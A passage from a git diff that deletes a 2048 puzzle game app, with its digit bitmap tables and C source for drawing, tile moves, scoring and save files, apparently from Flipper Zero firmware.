1, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 32 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 64 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0}, - {0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0}, - {0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0}, - {0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 128 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 256 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0}, - {0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0}, - {0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0}, - {0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0}, - {0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 512 - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0}, - {0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 1K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 2K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 4K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 8K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0}, - {0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 16K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0}, - {0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0}, - {0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 32K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0}, - {0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0}, - {0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0}, - {0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0}, - {0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, - - // 64K - {{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0}, - {0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0}, - {0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0}, - {0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0}, - {0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}} - -}; diff --git a/applications/external/game_2048/game_2048.c b/applications/external/game_2048/game_2048.c deleted file mode 100644 index a7f84a411..000000000 --- a/applications/external/game_2048/game_2048.c +++ /dev/null @@ -1,515 +0,0 @@ -/* - * Copyright 2022 Eugene Kirzhanov - * Use of this source code is governed by an MIT-style - * license that can be found in the LICENSE file or at - * https://opensource.org/licenses/MIT - * - * Thanks to: - * - DroomOne: https://github.com/DroomOne/flipperzero-firmware - * - x27: https://github.com/x27/flipperzero-game15 - */ - -#include -#include -#include -#include -#include - -#include "digits.h" -#include "array_utils.h" - -#define CELLS_COUNT 4 -#define CELL_INNER_SIZE 14 -#define FRAME_LEFT 10 -#define FRAME_TOP 1 -#define FRAME_SIZE 61 - -#define SAVING_DIRECTORY "/ext/apps/Games" -#define SAVING_FILENAME SAVING_DIRECTORY "/game_2048.save" - -typedef enum { - GameStateMenu, - GameStateInProgress, - GameStateGameOver, -} State; - -typedef struct { - FuriMutex* mutex; - State state; - uint8_t table[CELLS_COUNT][CELLS_COUNT]; - uint32_t score; - uint32_t moves; - int8_t selected_menu_item; - uint32_t top_score; -} GameState; - -typedef struct { - uint32_t points; - bool is_table_updated; -} MoveResult; - -#define MENU_ITEMS_COUNT 2 -static const char* popup_menu_strings[] = {"Resume", "New Game"}; - -static void input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -static void draw_frame(Canvas* canvas) { - canvas_draw_frame(canvas, FRAME_LEFT, FRAME_TOP, FRAME_SIZE, FRAME_SIZE); - - uint8_t offs = FRAME_LEFT + CELL_INNER_SIZE + 1; - for(uint8_t i = 0; i < CELLS_COUNT - 1; i++) { - canvas_draw_line(canvas, offs, FRAME_TOP + 1, offs, FRAME_TOP + FRAME_SIZE - 2); - offs += CELL_INNER_SIZE + 1; - } - offs = FRAME_TOP + CELL_INNER_SIZE + 1; - for(uint8_t i = 0; i < CELLS_COUNT - 1; i++) { - canvas_draw_line(canvas, FRAME_LEFT + 1, offs, FRAME_LEFT + FRAME_SIZE - 2, offs); - offs += CELL_INNER_SIZE + 1; - } -} - -static void draw_digit(Canvas* canvas, uint8_t row, uint8_t column, uint8_t value) { - if(value == 0) return; - - uint8_t left = FRAME_LEFT + 1 + (column * (CELL_INNER_SIZE + 1)); - uint8_t top = FRAME_TOP + 1 + (row * (CELL_INNER_SIZE + 1)); - - for(uint8_t r = 0; r < CELL_INNER_SIZE; r++) { - for(u_int8_t c = 0; c < CELL_INNER_SIZE; c++) { - if(digits[value - 1][r][c] == 1) { - canvas_draw_dot(canvas, left + c, top + r); - } - } - } -} - -static void draw_table(Canvas* canvas, const uint8_t table[CELLS_COUNT][CELLS_COUNT]) { - for(uint8_t row = 0; row < CELLS_COUNT; row++) { - for(uint8_t column = 0; column < CELLS_COUNT; column++) { - draw_digit(canvas, row, column, table[row][column]); - } - } -} - -static void gray_canvas(Canvas* const canvas) { - canvas_set_color(canvas, ColorWhite); - for(int x = 0; x < 128; x += 2) { - for(int y = 0; y < 64; y++) { - canvas_draw_dot(canvas, x + (y % 2 == 1 ? 0 : 1), y); - } - } -} - -static void draw_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - canvas_clear(canvas); - - draw_frame(canvas); - draw_table(canvas, game_state->table); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP, AlignRight, AlignTop, "Score"); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP + 20, AlignRight, AlignTop, "Moves"); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP + 40, AlignRight, AlignTop, "Top Score"); - - int bufSize = 12; - char buf[bufSize]; - snprintf(buf, sizeof(buf), "%lu", game_state->score); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP + 10, AlignRight, AlignTop, buf); - - memset(buf, 0, bufSize); - snprintf(buf, sizeof(buf), "%lu", game_state->moves); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP + 30, AlignRight, AlignTop, buf); - - memset(buf, 0, bufSize); - snprintf(buf, sizeof(buf), "%lu", game_state->top_score); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 128, FRAME_TOP + 50, AlignRight, AlignTop, buf); - - if(game_state->state == GameStateMenu) { - gray_canvas(canvas); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, 28, 16, 72, 32, 4); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 28, 16, 72, 32, 4); - - for(int i = 0; i < MENU_ITEMS_COUNT; i++) { - if(i == game_state->selected_menu_item) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 34, 20 + 12 * i, 60, 12); - } - - canvas_set_color( - canvas, i == game_state->selected_menu_item ? ColorWhite : ColorBlack); - canvas_draw_str_aligned( - canvas, 64, 26 + 12 * i, AlignCenter, AlignCenter, popup_menu_strings[i]); - } - - } else if(game_state->state == GameStateGameOver) { - gray_canvas(canvas); - - bool record_broken = game_state->score > game_state->top_score; - - canvas_set_color(canvas, ColorWhite); - canvas_draw_rbox(canvas, 14, 12, 100, 40, 4); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_line(canvas, 14, 26, 114, 26); - canvas_draw_rframe(canvas, 14, 12, 100, 40, 4); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignTop, "Game Over"); - - canvas_set_font(canvas, FontSecondary); - if(record_broken) { - canvas_draw_str_aligned(canvas, 64, 29, AlignCenter, AlignTop, "New Top Score!!!"); - } else { - canvas_draw_str_aligned(canvas, 64, 29, AlignCenter, AlignTop, "Your Score"); - } - - memset(buf, 0, bufSize); - snprintf(buf, sizeof(buf), "%lu", game_state->score); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 48, AlignCenter, AlignBottom, buf); - } - - furi_mutex_release(game_state->mutex); -} - -void calculate_move_to_left(uint8_t arr[], MoveResult* const move_result) { - uint8_t index = 0; - uint8_t next_index; - uint8_t offset; - bool was_moved; - while(index < CELLS_COUNT - 1) { - // find offset from [index] to next non-empty value - offset = 1; - while(index + offset < CELLS_COUNT && arr[index + offset] == 0) offset++; - - // if all remaining values in this row are empty then go to next row - if(index + offset >= CELLS_COUNT) break; - - // if current cell is empty then shift all cells [index+offset .. CELLS_COUNT-1] to [index] - if(arr[index] == 0) { - was_moved = shift_array_to_left(CELLS_COUNT, arr, index, offset); - if(was_moved) move_result->is_table_updated = true; - } - - next_index = index + 1; - if(arr[next_index] == 0) { - // find offset from [next_index] to next non-empty value - offset = 1; - while(next_index + offset < CELLS_COUNT && arr[next_index + offset] == 0) offset++; - - // if all remaining values in this row are empty then go to next row - if(next_index + offset >= CELLS_COUNT) break; - - // if next cell is empty then shift cells [next_index+offset .. CELLS_COUNT-1] to [next_index] - was_moved = shift_array_to_left(CELLS_COUNT, arr, next_index, offset); - if(was_moved) move_result->is_table_updated = true; - } - - if(arr[index] == arr[next_index]) { - arr[index]++; - shift_array_to_left(CELLS_COUNT, arr, next_index, 1); - - move_result->is_table_updated = true; - move_result->points += 2 << (arr[index] - 1); - } - - index++; - } -} - -void move_left(uint8_t table[CELLS_COUNT][CELLS_COUNT], MoveResult* const move_result) { - for(uint8_t row_index = 0; row_index < CELLS_COUNT; row_index++) { - calculate_move_to_left(table[row_index], move_result); - } -} - -void move_right(uint8_t table[CELLS_COUNT][CELLS_COUNT], MoveResult* const move_result) { - for(uint8_t row_index = 0; row_index < CELLS_COUNT; row_index++) { - reverse_array(CELLS_COUNT, table[row_index]); - calculate_move_to_left(table[row_index], move_result); - reverse_array(CELLS_COUNT, table[row_index]); - } -} - -void move_up(uint8_t table[CELLS_COUNT][CELLS_COUNT], MoveResult* const move_result) { - uint8_t column[CELLS_COUNT]; - for(uint8_t column_index = 0; column_index < CELLS_COUNT; column_index++) { - get_column_from_array(CELLS_COUNT, CELLS_COUNT, table, column_index, column); - calculate_move_to_left(column, move_result); - set_column_to_array(CELLS_COUNT, CELLS_COUNT, table, column_index, column); - } -} - -void move_down(uint8_t table[CELLS_COUNT][CELLS_COUNT], MoveResult* const move_result) { - uint8_t column[CELLS_COUNT]; - for(uint8_t column_index = 0; column_index < CELLS_COUNT; column_index++) { - get_column_from_array(CELLS_COUNT, CELLS_COUNT, table, column_index, column); - reverse_array(CELLS_COUNT, column); - calculate_move_to_left(column, move_result); - reverse_array(CELLS_COUNT, column); - set_column_to_array(CELLS_COUNT, CELLS_COUNT, table, column_index, column); - } -} - -void add_new_digit(GameState* const game_state) { - uint8_t empty_cell_indexes[CELLS_COUNT * CELLS_COUNT]; - uint8_t empty_cells_count = 0; - for(u_int8_t i = 0; i < CELLS_COUNT; i++) { - for(u_int8_t j = 0; j < CELLS_COUNT; j++) { - if(game_state->table[i][j] == 0) { - empty_cell_indexes[empty_cells_count++] = i * CELLS_COUNT + j; - } - } - } - if(empty_cells_count == 0) return; - - int random_empty_cell_index = empty_cell_indexes[random() % empty_cells_count]; - u_int8_t row = random_empty_cell_index / CELLS_COUNT; - u_int8_t col = random_empty_cell_index % CELLS_COUNT; - - int random_value_percent = random() % 100; - game_state->table[row][col] = random_value_percent < 90 ? 1 : 2; // 90% for 2, 25% for 4 -} - -void init_game(GameState* const game_state, bool clear_top_score) { - memset(game_state->table, 0, CELLS_COUNT * CELLS_COUNT * sizeof(uint8_t)); - add_new_digit(game_state); - add_new_digit(game_state); - - game_state->score = 0; - game_state->moves = 0; - game_state->state = GameStateInProgress; - game_state->selected_menu_item = 0; - if(clear_top_score) { - game_state->top_score = 0; - } -} - -bool load_game(GameState* game_state) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - File* file = storage_file_alloc(storage); - uint16_t bytes_readed = 0; - if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING)) { - bytes_readed = storage_file_read(file, game_state, sizeof(GameState)); - } - storage_file_close(file); - storage_file_free(file); - - furi_record_close(RECORD_STORAGE); - - return bytes_readed == sizeof(GameState); -} - -void save_game(GameState* game_state) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(storage_common_stat(storage, SAVING_DIRECTORY, NULL) == FSE_NOT_EXIST) { - if(!storage_simply_mkdir(storage, SAVING_DIRECTORY)) { - return; - } - } - - File* file = storage_file_alloc(storage); - if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(file, game_state, sizeof(GameState)); - } - storage_file_close(file); - storage_file_free(file); - - furi_record_close(RECORD_STORAGE); -} - -bool is_game_over(GameState* const game_state) { - FURI_LOG_I("is_game_over", "====check===="); - - // check if table contains at least one empty cell - for(uint8_t i = 0; i < CELLS_COUNT; i++) { - for(u_int8_t j = 0; j < CELLS_COUNT; j++) { - if(game_state->table[i][j] == 0) { - FURI_LOG_I("is_game_over", "has empty cells"); - return false; - } - } - } - FURI_LOG_I("is_game_over", "no empty cells"); - - uint8_t tmp_table[CELLS_COUNT][CELLS_COUNT]; - MoveResult* tmp_move_result = malloc(sizeof(MoveResult)); - - // check if we can move to any direction - memcpy(tmp_table, game_state->table, CELLS_COUNT * CELLS_COUNT * sizeof(uint8_t)); - move_left(tmp_table, tmp_move_result); - if(tmp_move_result->is_table_updated) return false; - FURI_LOG_I("is_game_over", "can't move left"); - - memcpy(tmp_table, game_state->table, CELLS_COUNT * CELLS_COUNT * sizeof(uint8_t)); - move_right(tmp_table, tmp_move_result); - if(tmp_move_result->is_table_updated) return false; - FURI_LOG_I("is_game_over", "can't move right"); - - memcpy(tmp_table, game_state->table, CELLS_COUNT * CELLS_COUNT * sizeof(uint8_t)); - move_up(tmp_table, tmp_move_result); - if(tmp_move_result->is_table_updated) return false; - FURI_LOG_I("is_game_over", "can't move up"); - - memcpy(tmp_table, game_state->table, CELLS_COUNT * CELLS_COUNT * sizeof(uint8_t)); - move_down(tmp_table, tmp_move_result); - if(tmp_move_result->is_table_updated) return false; - FURI_LOG_I("is_game_over", "can't move down"); - - return true; -} - -int32_t game_2048_app() { - GameState* game_state = malloc(sizeof(GameState)); - if(!load_game(game_state)) { - init_game(game_state, true); - } - - MoveResult* move_result = malloc(sizeof(MoveResult)); - - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E("2048Game", "cannot create mutex\r\n"); - free(game_state); - return 255; - } - - InputEvent input; - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, draw_callback, game_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - bool is_finished = false; - while(!is_finished) { - FuriStatus event_status = furi_message_queue_get(event_queue, &input, FuriWaitForever); - if(event_status == FuriStatusOk) { - // handle only press event, ignore repeat/release events - if(input.type != InputTypePress) continue; - - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - switch(game_state->state) { - case GameStateMenu: - - switch(input.key) { - case InputKeyUp: - game_state->selected_menu_item--; - if(game_state->selected_menu_item < 0) { - game_state->selected_menu_item = MENU_ITEMS_COUNT - 1; - } - break; - case InputKeyDown: - game_state->selected_menu_item++; - if(game_state->selected_menu_item >= MENU_ITEMS_COUNT) { - game_state->selected_menu_item = 0; - } - break; - case InputKeyOk: - if(game_state->selected_menu_item == 1) { - // new game - init_game(game_state, false); - save_game(game_state); - } - game_state->state = GameStateInProgress; - break; - case InputKeyBack: - game_state->state = GameStateInProgress; - break; - default: - break; - } - - break; - case GameStateInProgress: - move_result->is_table_updated = false; - move_result->points = 0; - - switch(input.key) { - case InputKeyLeft: - move_left(game_state->table, move_result); - break; - case InputKeyRight: - move_right(game_state->table, move_result); - break; - case InputKeyUp: - move_up(game_state->table, move_result); - break; - case InputKeyDown: - move_down(game_state->table, move_result); - break; - case InputKeyOk: - game_state->state = GameStateMenu; - game_state->selected_menu_item = 